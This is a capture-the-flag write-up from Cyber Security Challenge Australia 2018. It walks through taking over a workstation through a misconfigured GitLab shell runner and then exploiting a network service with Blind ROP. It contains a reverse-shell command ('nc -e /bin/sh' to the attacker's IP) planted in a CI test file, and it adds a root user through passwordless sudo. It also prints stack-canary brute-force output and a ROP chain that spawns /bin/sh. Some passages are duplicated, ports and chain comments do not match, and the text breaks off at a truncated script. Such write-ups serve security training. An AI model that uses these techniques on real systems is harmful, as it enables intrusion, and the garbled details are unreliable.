Generally, it’s unsafe to run tests with shell executors. The jobs are run with the user’s permissions (gitlab-runner) and can “steal” code from other projects that are run on this server. Use it only for running builds on a server you trust and own.

So basically, it’s running bash on the host where the runner resides. And it looks like the administrator Nonnel didn’t clean up this test of the CICD and has left their workstation vulnerable to arbitrary code execution. Let’s make some small changes to the code and find out about the workstation host, and if it can connect back to us. By modifying the test.py code.

```python
import os
os.system("uname -a; ip a; ping 192.168.5.100 -c 3;");
# test file to see if CICD is working
with open("cicd.test","w") as f:
```

It appears our job is stuck so we need to make some changes to the runner.

Modifying the runners setting to be more open gets us a step closer but we still don’t have the code running on the workstation. As the host appear to not be allowed to access the project. I guess the administrator tried to restrict access to the project before removing it completely.

If we change the permissions to access the project from private to public that should allow everyone.

```
5 $ python test.py
Linux Workstation2 4.9.0-7-amd64 #1 SMP Debian 4.9.118-1 (2018-07-05) x86_64 GNU/Linux
1: le: <LOOPBACK,UP,LOWER_UP> mtu 1500 qdisc mqcmd state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host
valid lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: et0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:15:56:94:65:4b brd ff:ff:ff:ff:ff:ff
inet 198.10.5.124/24 brd 198.10.5.255 scope global et0
 valid_lft forever preferred_lft forever
inet6 fe80::2501:56ff:fe94:650b/64 scope link
valid_lft forever preferred_lft forever
PING 192.168.5.100 (192.168.5.100) 56(84) bytes of data.
64 bytes from 192.168.5.100: icmp_seq=1 ttl=63 time=36.5 ms
64 bytes from 192.168.5.100: icmp_seq=2 ttl=63 time=35.6 ms
64 bytes from 192.168.5.100: icmp_seq=3 ttl=63 time=37.0 ms
--- 192.168.5.100 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 202ms
rtt min/avg/max/mdev = 36.000/36.391/37.098/0.604 ms
test complete
```
Success we have code execution on the workstation. Let’s just use the fully interactive shell trick from earlier. So, we just modify the `test.py` code slightly.

```python
import os
os.system("nc -e /bin/sh 192.168.5.100 4433 &");
```

# test file to see if CICD is working
with open("cicd.test","w") as f:

Set up the listener on our attacker machine

```bash
root@Bread:~# nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4433)
Connection from 10.10.5.22 35535 received!
python -c 'import pty; pty.spawn("/bin/bash")'
gitlab-runner@Workstation2:~/builds/6a2db2a9/0/Nonnel/testingCICD$ ^Z
[1]+  Stopped     nc -lvp 4433
root@Bread:~# stty raw -echo
root@Bread:~# nc -lvp 4444
reset
reset: unknown terminal type unknown
Terminal type? xterm
```

And now we can play.

```bash
gitlab-runner@Workstation2:~# find . -name "flag.txt" 2>/dev/null
./home/flag/flag.txt
gitlab-runner@Workstation2:~# cat /home/flag/flag.txt
FLAG{09EE7EC2521FBF993724922E04DF1628}
```
CHALLENGE: BROP STOP AND SHELL

Challenge Description
The CIO said workstation2 should only be accessible by Nonnel, as it is used to connect to the CustData server. The CustData server only allows communication with this machine via an in-house service script. The CIO wants to know if you could test the service, can you get onto the CustData server?

**NOTE:** The Safe zone host **custdata.safe.bob.cysca:12345** is only accessible via **w2.bob.cysca**

**NOTE:** SSH has been allowed to w2.bob.cysca

**NOTE:** not working any more reset the CustData VM.

Designed Solution
Players must now exploit a Blind ROP to gain access to the document server, hosting the sensitive documents.

Writeup

**TL:DR**

Add a user for SSH

```
gitlab-runner@Workstation2:~$ sudo -l
Matching Defaults entries for gitlab-runner on localhost:
   env_reset, mail_badpass,
   secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User gitlab-runner may run the following commands on localhost:
   (ALL) NOPASSWD: ALL>
```

```
gitlab-runner@Workstation2:~$ sudo su
root@Workstation2:/home/gitlab-runner# useradd brop
root@Workstation2:/home/gitlab-runner# passwd brop
```

SSH Port forward to custdata

```
root@Bread:~ # ssh -N -L 12345:custdata.safe.bob.cysca:12345 brop@10.10.5.128
```

write and run BROP solution

```
root@Bread:~ # python hecking.py
```

Cat Flag for CustData

```
Breadshell# cat /root/flag.txt
```
EXTENDED VERSION

Given that SSH has been allowed to w2.bob.cysca, we probably can get an account on the w2.bob.cysca host. So, it's likely that there is a way to privesc on the host. The first place to look is in sudoers file as a misconfiguration or in some case everyone can call sudo, so let's see what gitlab-runner can do:

```
$ sudo -l
Matching Defaults entries for gitlab-runner on localhost:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User gitlab-runner may run the following commands on localhost:
(ALL) NOPASSWD: ALL
```

So, we are pretty lucky that the administrator for this host has set up the gitlab-runner with NOPASSWD. Probably a misconfiguration or maybe the administrator forgot to remove these privilege's similar to the gitlab problem. So let's just add another user to use for SSH port forwarding.

```
$ sudo su
root@Workstation2:/# useradd brop
root@Workstation2:/# passwd brop
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@Workstation2:/#
```

Now we can use SSH port forwarding on our end to hit the supplied address and port.

```
root@Bread:~# ssh -N -L 12345:10.10.5.192:12345 brop@10.10.5.128
brop@10.10.5.128’s password:
```

Were greeted with a terminal menu so we should just mess around with it for a bit to find a problem.

```
root@Bread:~# nc 127.0.0.1 12345
```

After a while you should find that, during the process of quitting a manual log entry is required. Which can be overflowed. It's not exactly obvious at this point that the program can be defeated. A huge hint is the title of the challenge BROP, STOP and SHELL.

Cyber Security Challenge Australia © 2018 - Corporate Pentest Solutions page 42

reading this paper, we see that 3 main steps are required

“The BROP attack has the following phases:

1) Stack reading: read the stack to leak canaries and a return address to defeat ASLR.
2) Blind ROP: find enough gadgets to invoke write and control its arguments.
3) Build the exploit: dump enough of the binary to find enough gadgets to build a shellcode, and launch the final exploit.”

So right off the bat we need to defeat the stack cookie. For this set we need to first discover the length of the buffer so that we can then iterate the cookie. As you can see if you enter more than the bytes you specify it overflows. So we can automate finding the buffer length by trial and error.

```
root@Bread:~ # nc 127.0.0.1 12345
...
> q

<table>
<thead>
<tr>
<th>quitting</th>
</tr>
</thead>
</table>

| Log book Entry Required    !!!|                                      |
|---------------------------------------------------------------------------|
| Due to faulty compatibility with the log bog                              |
| can you please enter the following correctly.                            |
| how long is your name: 1                                                  |
| Please enter your name (1 bytes): 1                                      |
| Log entry added by 1                                                     |
| Saved DB, now exiting!                                                   |

root@Bread:~ # nc 127.0.0.1 12345
...
> q

<table>
<thead>
<tr>
<th>quitting</th>
</tr>
</thead>
</table>

| Log book Entry Required    !!!|                                      |
|---------------------------------------------------------------------------|
| Due to faulty compatibility with the log bog                              |
| can you please enter the following correctly.                            |
| how long is your name: 50                                                 |
| Please enter your name (50 bytes): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Log entry added by aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

^C
```

```
root@Bread:~ # python hecking.py
[+] Finding Buffer size: 24
[+] Buffer size Found! : 24
```
Once we have the length, we can work on brute force the stack cookie, using a little threading to speed the process up.

```text
root@Bread:~ # python hecking.py
[+] Finding Buffer size: 24
[+] Buffer size Found! : 24
[+] Searching for Stack Cookie: 0089309d4d2e
[-] Searching for Stack Cookie: 0089309d4d31
[../.....] Searching for Stack Cookie: 0089309d4d30
[+] Searching for Stack Cookie: 0089309d4d2f
[+] Searching for Stack Cookie: 0089309d4d32
[+] Searching for Stack Cookie: 0089309d4d33
[+] Searching for Stack Cookie: Done
[+] Searching for Stack Cookie: Done
[+] Searching for Stack Cookie: Done
[+] Searching for Stack Cookie: Done
[+] Searching for Stack Cookie: Done
[+] Searching for Stack Cookie: Done
[+] Stack Cookie Found! : 0089309d4d467e696f
```

Awesome we can override the frame pointer and return address, to whatever we want. following the paper by bittau et al. we can now iterate the address space of the binary, hopefully its base is 0x400000 to find all our gadgets.

the first gadget we need is the stop gadget let’s see what we can find. To find a stop gadget we just need to hit an area we know has a predictable outcome, we no that the program exits correctly if we print “Saved DB, now exiting!” so lets search for that area in the binary.

```text
root@Bread:~ # python hecking.py
[+] Buffer size Found! : 24
[+] Stack Cookie Found! : 0089309d4d467e69
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Searching for stop gadgets: Done
[+] Stop gadget Found! : 0x401fff
```

If you read over the searching_for_stop_gadgets.txt file you can see other places that you could use as a stop gadget however this is a pretty fast, and clean exit spot. The output also has interesting things in it like a Backtrace dump.

moving onto the brop gadget watching output

```text
root@Bread:~ # python hecking.py
[+] Buffer size Found! : 24
[+] Stack Cookie Found! : 0089309d4d467e69
[+] Stop gadget Found! : 0x401fff
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] Searching for brop gadgets: Done
[+] BROP gadget Found! : 0x400a3d
```

If you read over the searching_for_stop_gadgets.txt file you can see other places that you could use as a stop gadget however this is a pretty fast, and clean exit spot. The output also has interesting things in it like a Backtrace dump.
Now we can dump the binary locally and run ROPGadget on it to build a ROP chain. This might take a while... or if you were paying attention the binary was already dumped thanks to whatever is at 0x40055e (it’s a syscall but we don’t know that currently).

Above is the signature of a BROP gadget which is effectively “probe, stop, stop, stop, stop, stop, stop, traps”

As you can see at the address 0x400a3c is the start of the pop XXX ; pop XXX ; pop XXX ; pop XXX ; pop XXX ; ret. and as we move down the address space to 0x400bddd it starts to become the RSI and RDI gadgets we need as we move 7 and 9 bytes from it.

This means we now have the RSI and RDI gadgets. At this point we can find a dump gadget so that we can get more of the binary to do local analysis on it. To find a dump gadget we effectively push the binaries base address onto the stack and find a puts() call. This will print the start of the binary up to the first null x00 byte. And the start of linux binaries is \x7fELF so we can just look for that.

Now we can dump the binary locally and run ROPGadget on it to build a ROP chain. This might take a while... or if you were paying attention the binary was already dumped thanks to whatever is at 0x40055e (it’s a syscall but we don’t know that currently).
root@Bread:~ # python hecking.py
[+] Buffer size Found! : 24
[+] Stack Cookie Found! : 0889309d4d467e69
[+] Stop gadget Found! : 0x401fff
[+] BROP gadget Found! : 0x400a3d
[+] Extracting RSI gadget : 0x400a41
[+] Extracting RDI gadget : 0x400a43
[+] DUMP gadget Found! : 0x40043e

[+] Dumping binary info: 0x400047
[+] Dumping binary info: 0x4000bd
[+] Dumping binary info: 0x400135
[+] Dumping binary info: 0x4001bb
[+] Dumping binary info: 0x40023d
[+] Dumping binary info: 0x4002ba
[+] Dumping binary info: 0x400335
[+] Dumping binary info: 0x4003c1
[+] Dumping binary info: 0x40043e
[+] Dumping binary info: 0x40054d

So we can now look at what we have currently dumped, and see if we can construct a ropchain using ROPGadget.

root@Bread:~ # ROPgadget --binary dump --ropchain

Gadgets information
============================================================================
0x000000000044308e :adc ah, bh ; dec dword ptr [rax - 0x77] ; ret
0x00000000004ad155 :xor rdx, qword ptr fs:[0x30] ; call rdx

Unique gadgets found: 14208
ROP chain generation
============================================================================

- Step 1 -- Write-what-where gadgets
  [+] Gadget found: 0x478dee mov qword ptr [rsi], rdx ; ret
  [+] Gadget found: 0x40548e pop rsi ; ret
  [-] Can't find the 'xor rdx, rdx' gadget. Try with another 'mov [reg], reg'

- Step 2 -- Init syscall number gadgets
  [+] Gadget found: 0x4a5879 mov qword ptr [rsi], rax ; ret
  [+] Gadget found: 0x40548e pop rsi ; ret
  [-] Can't find the 'xor rdi, rdi' gadget. Try with another 'mov [reg], reg'

- Step 3 -- Init syscall arguments gadgets
  [+] Gadget found: 0x4a8383 xor rax, rax ; ret
  [+] Gadget found: 0x40548e pop rsi ; ret
  [-] Can't find the 'xor rdx, rdx' gadget. Try with another 'mov [reg], reg'

- Step 4 -- Syscall gadget
  [+] Gadget found: 0x400563 syscall

- Step 5 -- Build the ROP chain

[-] Error - Can't find a writable section
We have everything we need we just don’t know where to write to. So just have a look at the dump with objdump as this will show us where we can write to.

```
root@Bread:~ # objdump -x dump
```

```
dump:     file format elf64-x86-64
dump architecture: i386:x86-64
start address 0x0000000000400e40
```

```
Program Header:
LOAD off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000400e40 align 2**21
filesz 0x0000000000000000 memsz 0x0000000000000000 flags r-x
LOAD off 0x00000000001a56b0 vaddr 0x00000000007a56b0 paddr 0x00000000007a56b0 align 2**21
filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw-
NOTE off 0x0000000000000190 vaddr 0x0000000000400190 paddr 0x0000000000400190 align 2**2
filesz 0x0000000000000044 memsz 0x0000000000000044 flags r--
TLS off 0x00000000001a56b0 vaddr 0x00000000007a56b0 paddr 0x00000000007a56b0 align 2**4
filesz 0x0000000000000070 memsz 0x00000000000000c8 flags r--
STACK off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**4
filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw-
RELRO off 0x00000000001a56b0 vaddr 0x00000000007a56b0 paddr 0x00000000007a56b0 align 2**0
filesz 0x000000000000007950 memsz 0x000000000000007950 flags r--
```

```
Sections:
Idx Name          Size      VMA               LMA               File off  Algn
SYMBOL TABLE:
no symbols
```

So we write somewhere in 0x7a5000-0x7af000. Lets aim for somewhere toward the end (0x7ad000).

```
def make_ropchain(p):
    payload = []

    # part 1: write-what-where a.k.a /bin/sh to .data (0x7ad000)
    payload.append(p64(0x000000000040548e))  # pop rsi ; ret
    payload.append(p64(0x00000000007ad000))  # @ .data
    payload.append(p64('/bin//sh'))
    payload.append(p64(0x000000000042cba6))  # pop rax ; ret
    payload.append(p64(0x0000000000445879))  # mov qword ptr [rsi], rax ; ret

    # part 2: write-what-where, write 0 to .data (0x7ad000)
    payload.append(p64(0x000000000040548e))  # pop rsi ; ret
    payload.append(p64(0x00000000007ad000))  # @ .data + 8
    payload.append(p64(0x00000000004ca835))  # xor rax, rax ; ret
    payload.append(p64(0x000000000040548e))  # mov qword ptr [rsi], rax ; ret
    payload.append(p64(0x00000000004ca835))  # xor rax, rax ; ret
    for _ in range(59):
        payload.append(p64(0x00000000004f84c0))  # set RAX to 59
    payload.append(p64(0x0000000000400563))  # syscall execve('/bin//sh', 0, 0);
    p.success("Completed!")
    return payload
```

And now let’s test it out.
root@Bread:~/Desktop/Work/CySCA2018/in-a-box-test# python hacking.py
[*] Buffer size Found! : 24
[*] Stack Cookie Found! : 0089300d4d467e69
[*] Stop gadget Found! : 0x401fff
[*] BROP gadget Found! : 0x400a3c
[*] Extracting RSI Gadget : 0x400a43
[*] Extracting RDI Gadget : 0x400a45
[*] Dump gadget Found! : 0x40068e
[*] Dump complete
[*] Making the ROPchain : Complete!
[0] Popping a shell
[*] Switching to interactive mode
Please enter your name (648 bytes): Log entry added by AAAAAAAAAAAAAAAAAAAAAA
BreadShell$ ls -l
 total 3524
-rw-r--r-- 1 root root 11375 Mar 16 2018 NetSock.cpp
-rw-r--r-- 1 root root 3225 Mar 16 2018 NetSock.h
-rw-r--r-- 1 root root 110 May 24 2018 build.sh
-rw-r--r-- 1 root root 0 Dec 28 03:53 clients
-rw-r--r-- 1 root root 1715 Aug 8 11:58 clients.bak
-rw------- 1 root root 487424 Dec 28 06:23 core
-rw-r--r-- 1 root root 2043 Dec 14 05:23 flag
-rw-r--r-- 1 root root 1118670 Dec 28 06:23 log
-rwxr-xr-x 1 root root 2242616 Jul 6 04:34 server
-rw-r--r-- 1 root root 10191 May 25 2018 server.cpp
-rw-r--r-- 1 root root 45 Aug 8 12:01 start.sh
BreadShell$ cat flag
BROP SUCCESSFUL!

@nonsxd
Well done!

FLAG{AQGXGQ57A3YYY2Y1DRFFYIPT28EO2006}
BreadShell$ [*] Interrupted
[*] Closed connection to 127.0.0.1 port 12345
root@Bread:~/ #

Well done!
And here is the code I use to test this challenge:

```python
from pwn import *
from time import time
from time import sleep
